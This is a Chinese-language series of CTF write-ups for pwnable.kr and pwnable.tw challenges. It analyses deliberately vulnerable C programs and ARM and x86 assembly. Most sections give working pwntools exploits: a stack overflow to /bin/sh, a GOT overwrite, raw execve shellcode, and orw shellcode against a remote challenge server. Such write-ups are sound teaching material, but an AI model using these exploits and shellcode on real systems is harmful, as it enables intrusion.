分析pwnable.kr(和tw)上的题系列
fd
ssh上服务器,看到源代码,没必要下载,直接看c文件就行
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
本题就是把int fd = atoi( argv[1] ) - 0x1234;
中的fd搞成0即可,让后边的read函数第一个参数为标准输入0即可,0x1234->4660,然后再输LETMEWIN
就搞定了🤣,这里
fd@prowl:~$ ./fd
pass argv[1] a number
fd@prowl:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
main参数
本题分析一下main函数参数argc(参数个数),angv(参数,当成数组存储),envp(环境变量)
乱写了一堆代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char* argv[], char* envp[]){
printf("%d\n",argc);
for(int i = 0;;i++)
if(argv[i])
printf("%s\n",argv[i]);
for(int i = 0;;i++)
if(envp[i])
printf("%s\n",envp[i]);
return 0;
}
运行一遍可以看看具体的含义,但是不知道为啥最后输出环境变量时会Segmentation fault (core dumped)
,很迷,这里埋个伏笔吧,觉得是环境变量访问越界,有知道的大佬希望能指点一下本菜鸡
atoi
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
int val;
char str[20];
strcpy(str, "98993489");
val = atoi(str);
printf("String value = %s, Int value = %d\n", str, val);
strcpy(str, "123\n254g9i0sd235.net");
val = atoi(str);
printf("String value = %s, Int value = %d\n", str, val);
return(0);
}
结果
pic@ubuntu:~/Desktop$ ./real
String value = 98993489, Int value = 98993489
String value = 123
254g9i0sd235.net, Int value = 123
read
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
int len = 0;
for(int i = -1;i < 5;i++){
len = read(i, buf, 32);
printf("%d:%s",i,buf);}
return 0;
}
pic@ubuntu:~/Desktop$ ./real
q
-1:0:q
w
1:w
e
2:e
3:e
4:e
我们可以看到-1的时候read函数没有发生什么而且把标准输入的位置给占了,1,2都是正常的输入,到3的时候就不处理了,直接输出
我们看一看到底成功没有
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
int len = 0;
for(int i = -1;i < 5;i++){
len = read(i, buf, 32);
printf("%d time:%s and the len is %d",i,buf,len);
printf("\n");
}
return 0;
}
pic@ubuntu:~/Desktop$ ./real
-1 time: and the len is -1
q
0 time:q
and the len is 2
w
1 time:w
and the len is 2
e
2 time:e
and the len is 2
3 time:e
and the len is -1
4 time:e
and the len is -1
通过看上边的代码和结果我们简单总结一下read函数
\n
也会被当作输入- 返回值为输入长度,发生错误返回-1
- -1的情况不太一样,和输入语境有关系??
深入分析pwnable.kr上的题系列[二]
先看这个逆向
flag
有upx壳,直接脱了,发现checksec
可以直接看壳子,好强啊,膜一下这个神器
pic@ubuntu:~/Desktop$ checksec flag
[*] '/home/pic/Desktop/flag'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // ST08_8
puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = malloc(100LL);
strcpy(dest, flag);
return 0;
}
ida反编译结果,意思是我malloc一块然后把flag赋值到里边,然后直接看flag就完事了
这题源代码差不多长这样
#include<stdio.h>
#include<stdlib.h>
char *flag = "haha";
int main()
{
char *dest;
printf("I will malloc() and strcpy the flag there. take it.");
dest = malloc(100);
strcpy(dest, flag);
return 0;
}
bof
题目给的c文件
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
我们看到必须让key变成0xcafebabe
我们知道调用函数时程序把参数入栈我们只需要让overflowme
这个局部变量溢出即可,下面用两个工具ida和gdb调试搞一下
方法一:ida
看到key的位置在ebp+8
,而char s; // [esp+1Ch] [ebp-2Ch]
,两者相差52字节,exp如下:
from pwn import *
p = process('./bof')
p.recvuntil('overflow me : \n')
p.sendline('a'*52+p32(0xcafebabe))
p.interactive()
pic@ubuntu:~/Desktop$ python exp.py
[+] Starting local process './bof': pid 46987
[*] Switching to interactive mode
$ id
uid=1000(pic) gid=1000(pic) groups=1000(pic),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
总是感觉这种方法不太优雅,下面说一下gdb神器
方法二:gdb
直接s
步入func
里,到比较的地方
0x56555654 <func+40> cmp dword ptr [ebp + 8], 0xcafebabe
pwndbg> print $ebp
$1 = (void *) 0xffffd1d8
pwndbg> x/16gx 0xffffd1d8+8
0xffffd1e0: 0x00000000deadbeef 0x00000000565556b9
0xffffd1f0: 0xf7fb6000f7fb6000 0xf7df6e8100000000
0xffffd200: 0xffffd29400000001 0xffffd224ffffd29c
0xffffd210: 0x0000000000000001 0xf7fe575af7fb6000
0xffffd220: 0x00000000f7ffd000 0x00000000f7fb6000
0xffffd230: 0x40c4cae300000000 0x0000000001bc4cf3
0xffffd240: 0x0000000000000000 0x5655553000000001
0xffffd250: 0xf7feae2000000000 0x56556ff4f7fe59b0
我们看到了0xdeadbeef
要和0xcafebabe
比较,我们需要覆盖这个值,找一下偏移量
看一下gets
函数参数,即overflowme地址,找到
0x56555649 <func+29> lea eax, [ebp - 0x2c]
0x5655564c <func+32> mov dword ptr [esp], eax
0x5655564f <func+35> call gets <0xf7e452b0>
eax值为0xffffd1ac
,然后比较一波
pwndbg> distance 0xffffd1ac 0xffffd1d8+8
0xffffd1ac->0xffffd1e0 is 0x34 bytes (0xd words)
偏移量也为0x34,结束战斗
collision
这题主要的是理解题目所给函数
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
我们看到程序让我们输入第二个参数,且参数长度为20,然后跳到check_password
函数中,我们看到它把char指针转成了int指针,所以每次加一都成了加四,让20个输入的字符经过逐个相加得到特定值即可,网上找了找思路,大致都是先算,然后用echo
或python
输入字节,然后发现一个大佬把特定字符给搞出来了
./col `echo -n -e "\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xc8\xce\xc5\x06\xcc\xce\xc5\x06" `
./col $(python -c 'print "\xc9\xce\xc5\x06"*4+"\xc8\xce\xc5\x06"')
./col `python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"`
./col b4_9b4_9b4_9b4e4d8ZA(大佬行为)
分析一下python
这个小脚本
pic@ubuntu:~/Desktop$ (python -c 'print "\x6c\x73"')
ls
pic@ubuntu:~/Desktop$ $(python -c 'print "\x6c\x73"')
col flag te.py
pic@ubuntu:~/Desktop$ ls
col flag te.py
可以看到把ls
经过转换后然后用python打印,不加$
就是普通打印,加上就是ls
命令,echo
命令同理
深入分析pwnable.kr上的题系列[三]
random
看到这题,本质就是rand()
函数的伪随机,我们在rand
函数之前,未使用srand
函数给种子,rand
就自己调用srand(1)
,(其实srand(0)
也是这数,我们看看这个小demo
#include <stdio.h>
int main(){
unsigned int random;
random = rand();
printf("first is %p\n",random);
for(int i =0;i<10;i++){
srand(i);
random = rand();
printf("num %d is %p\n",i,random);
}
return 0;
}
pic@ubuntu:~/Desktop$ ./te
first is 0x6b8b4567
num 0 is 0x6b8b4567
num 1 is 0x6b8b4567
num 2 is 0x59b997fa
num 3 is 0x47db4e3a
num 4 is 0x754e7ddd
num 5 is 0x232add1b
num 6 is 0x11560ebd
num 7 is 0x3e52dff5
num 8 is 0x2d274378
num 9 is 0x1a7dd803
passcode
先把这个文件scp
下载下来,scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode /home/pic/Desktop
,pwnable上的ssh端口全都改成了2222,所以需要指定一下,下来后我们先研究一下漏洞点,c文件如下
Safeguard、operation and source code
ssh连接上去后直接运行后发现出错,我们使用scp命令从服务器下载下来源码和程序进行进一步逆向分析
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
➜ 下载 ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : 1
Welcome 1!
enter passcode1 : 1
[1] 7138 segmentation fault (core dumped) ./passcode
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", &passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", &passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
The program has a format string vulnerability
scanf("%d", passcode1)
想要利用这个漏洞很简单,这个漏洞原理就是如果不加&,scanf就会默认从栈中读取4字节当成passcode1的地址(好草率的说)
于是思路有了,就是把某个函数GOT地址改成system("/bin/cat flag")
这个后门函数即可成功看到flag:)
思路如下:
- 知道name和passcode1的偏移
- 找到fflush函数的GOT地址
- 找到我们的后门函数地址
- 利用本程序漏洞写出利用代码
Write exp
首先利用ida查出name和passcode1的偏移,我们发现这两个变量在welcome和login中使用,两次函数的提高堆栈的操作相同,于是我们知道这两个栈使用了同一个ebp
mov eax, offset a100s ; "%100s"
lea edx, [ebp+var_70]
mov [esp+4], edx
mov [esp], eax
call ___isoc99_scanf
mov eax, offset aD ; "%d"
mov edx, [ebp+var_10]
mov [esp+4], edx
mov [esp], eax
call ___isoc99_scanf
使用objdump看一下GOT表
objdump -R passcode
读一下GOT表后找到
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
该函数在输入passcode后自动调用,直接更改这个函数就行!通过ida看到后门函数地址
080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag
万事具备,编写exp:
from pwn import *
p = process('./passcode')
fflush_got_addr = 0x0804a004
flag_addr = 0x080485E3
payload = 'a' * 96 + p32(fflush_got_addr) + str(flag_addr)
p.send(payload)
p.interactive()
这样写并不优雅,可能部分人会认为怎么payload直接就输进去了??其实这只是凑巧了,96个字节的a
加上之后的p32(fflush_got_addr)
正好是100个开辟的name大小,应该是这样
sleep(1)
payload = 'a' * 96 + p32(fflush_got_addr)
p.sendline(payload)
sleep(1)
payload = str(flag_addr)
p.send(payload)
效果相同,我们用一个小demo具体说明
#include <stdio.h>
#include <stdlib.h>
void world(){
int passcode1;
printf("enter passcode1 : ");
scanf("%d", &passcode1);
printf("%d\n",passcode1);
}
void hello(){
char name[5];
printf("enter you name : ");
scanf("%5s", name);
printf("Welcome %s!\n", name);
}
int main(){
hello();
world();
return 0;
}
pic@ubuntu:~/Desktop$ ./flag
enter you name : 123456
Welcome 12345!
enter passcode1 : 6
大致是这意思😀
深入分析pwnable.kr上的题系列[四]
mistake
本题的关键就是符号优先性,我们写个demo
#include <stdio.h>
int main(int argc, char* argv[]){
int test;
if(test = -1<0)
printf("%d\n",test);
else
printf("??what happened\n");
printf("%d\n",test);
return 0;
}
pic@ubuntu:~/Desktop$ ./c
1
1
我们通过小demo看出来,其实并不是先赋值,而是先执行<
在执行=
,即test=(-1<0)
我们分析一下源代码
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ //open函数以只读方式打开,错误则返回-1,if语句成立,向下执行
printf("can't open password %d\n", fd); //fd只能是1
return 0;
}
//fd为0向下执行
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ //标准读入,输入即可
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
所以分析到这种程度输入就行
mistake@prowl:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(
深入分析pwnable.kr上的题系列[五]
leg
看到本题是arm汇编,我们直接看看c代码
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
emmm,看不太懂,只知道key1()+key2()+key3()) == key
则得到flag,直接撸汇编吧,挨个分析
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
int key1(){
asm("mov r3, pc\n");
}
key1函数汇编层面只是多作了一个栈的处理,我们只需要知道pc寄存器的值,且其有读写限制,当没有超过读取限制的时候,读取的值是指令的地址加上8个字节,故返回值r0(arm返回值为r0)为0x00008ce4
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
我们仔细对照一下汇编和使用asm编的代码,发现有这个.code 16
和.code 32
,这是啥??google一波发现是告诉编译器代码是arm状态还是thumb状态,不过和这题没什么关系
我们按行注释一下代码
0x00008cfc <+12>: add r6, pc, #1 //r6=0x00008d05
0x00008d00 <+16>: bx r6 //跳转到r6的指向,但地址会先和0xFFFFFFFE按位与,相当于jmp 0x00008d04(最后一位必为偶数)
0x00008d04 <+20>: mov r3, pc //r3=0x00008d08
0x00008d06 <+22>: adds r3, #4 //r3=0x00008d0c
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3 //返回值r0=r3
结束战斗
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
int key3(){
asm("mov r3, lr\n");
}
key3就是一个简单的lr寄存器当返回值,lr寄存器有两个用处
- 保存子程序返回地址
- 异常发生时,异常模式的r14用来保存异常返回地址
所以返回地址为 0x00008d80 <+68>: mov r3, r0
,的0x00008d80
我们得到了三个返回值,直接相加即为key,为0x00008ce4+0x00008d0c+0x00008d80=108400,程序分析完毕,我们再来看看刚才提到的两个状态
ARM处理器状态
我们分析key2的时候发现gdb反编译出莫名奇妙的几行,我们深入分析一下源代码
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n" //①
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n" //②
"pop {r6}\n"
);
}
看到了处理①的时候下一行就是状态的切换了,之前我们知道了地址在跳转之前会和0xFFFFFFFE进行按位与,本身最后一位的作用是起到了一个标志位的作用,0代表状态arm,1代表状态thumb,所以才会显得很奇怪的加一,而最后②的转换回来考虑到lr寄存器放入的就是原本地址,故执行完 0x00008d1c <+44>: bx lr
后程序又切换会了arm状态
start
➜ 下载 ./start
Let's start the CTF:321
➜ 下载 checksec start
[*] '/home/pic/\xe4\xb8\x8b\xe8\xbd\xbd/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
.text:08048060 000 push esp
.text:08048061 004 push offset _exit
.text:08048066 008 xor eax, eax
.text:08048068 008 xor ebx, ebx
.text:0804806A 008 xor ecx, ecx
.text:0804806C 008 xor edx, edx
.text:0804806E 008 push ':FTC'
.text:08048073 00C push ' eht'
.text:08048078 010 push ' tra'
.text:0804807D 014 push 'ts s'
.text:08048082 018 push 2774654Ch
.text:08048087 01C mov ecx, esp ; addr
.text:08048089 01C mov dl, 14h
.text:0804808B 01C mov bl, 1 ; fd
.text:0804808D 01C mov al, 4
.text:0804808F 01C int 80h ; LINUX - sys_write
.text:08048091 01C xor ebx, ebx
.text:08048093 01C mov dl, 3Ch
.text:08048095 01C mov al, 3
.text:08048097 01C int 80h ; LINUX -
.text:08048099 01C add esp, 14h
.text:0804809C 008 retn
本题中
.text:08048087 01C mov ecx, esp ; addr
.text:08048089 01C mov dl, 14h
.text:0804808B 01C mov bl, 1 ; fd
.text:0804808D 01C mov al, 4
.text:0804808F 01C int 80h ; LINUX - sys_write
.text:08048091 01C xor ebx, ebx
.text:08048093 01C mov dl, 3Ch
.text:08048095 01C mov al, 3
.text:08048097 01C int 80h ; LINUX -
可以发现它让我们写 0x3C 个字符,完全可以覆盖返回地址,本题有两个系统调用,一个是sys_read(ax=3)
,另一个为sys_write(ax=4)
,因为本题的NX是关的,我们直接在栈上写shellcode即可
要做的只有:
- 知道esp的值
- 写shellcode
直接交exp
from pwn import *
context.log_level = "debug"
p = process('./start')
pay='a'*20+p32(0x08048087)
p.sendafter('CTF:',pay)
esp=u32(p.recv(4))
print hex(esp)
pay='a'*20+p32(esp+0x14)+'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.send(pay)
p.interactive()
同时我们要注意,第一个不能sendline,这样会破坏esp的值,其次在第二个传输的时候不要死脑筋,想着一定要布置到给定的20个字节中,直接让esp+20
之后在从容的布置更加优雅
orw
➜ 下载 ./orw
Give my your shellcode:12
[1] 9368 segmentation fault (core dumped) ./orw
➜ 下载 checksec orw
[*] '/home/pic/\xe4\xb8\x8b\xe8\xbd\xbd/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
.text:08048548 lea ecx, [esp+4]
.text:0804854C and esp, 0FFFFFFF0h
.text:0804854F push dword ptr [ecx-4]
.text:08048552 push ebp
.text:08048553 mov ebp, esp
.text:08048555 push ecx
.text:08048556 sub esp, 4
.text:08048559 call orw_seccomp
.text:0804855E sub esp, 0Ch
.text:08048561 push offset aGiveMyYourShel ; "Give my your shellcode:"
.text:08048566 call _printf
.text:0804856B add esp, 10h
.text:0804856E sub esp, 4
.text:08048571 push 0C8h
.text:08048576 push offset shellcode
.text:0804857B push 0
.text:0804857D call _read
.text:08048582 add esp, 10h
.text:08048585 mov eax, offset shellcode
.text:0804858A call eax ; shellcode
.text:0804858C mov eax, 0
.text:08048591 mov ecx, [ebp+var_4]
.text:08048594 leave
.text:08048595 lea esp, [ecx-4]
.text:08048598 retn
可以看到在输出字符串之前有个orw_seccomp
函数,此函数用来限制系统调用,我们只能调用4个函数,不过够了,其中有open
,write
和read
,完全可以搞定,继续看汇编代码,
打印出Give my your shellcode:
后,让我们在0C8h
个字节里写入数据,之后直接调用这个shellcode
,行,我们的思路如下:
- 知道flag的位置
- 使用
open
打开flag文件 - 用
write
读出文件 read
打印出来
from pwn import *
p = remote("chall.pwnable.tw", 10001)
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()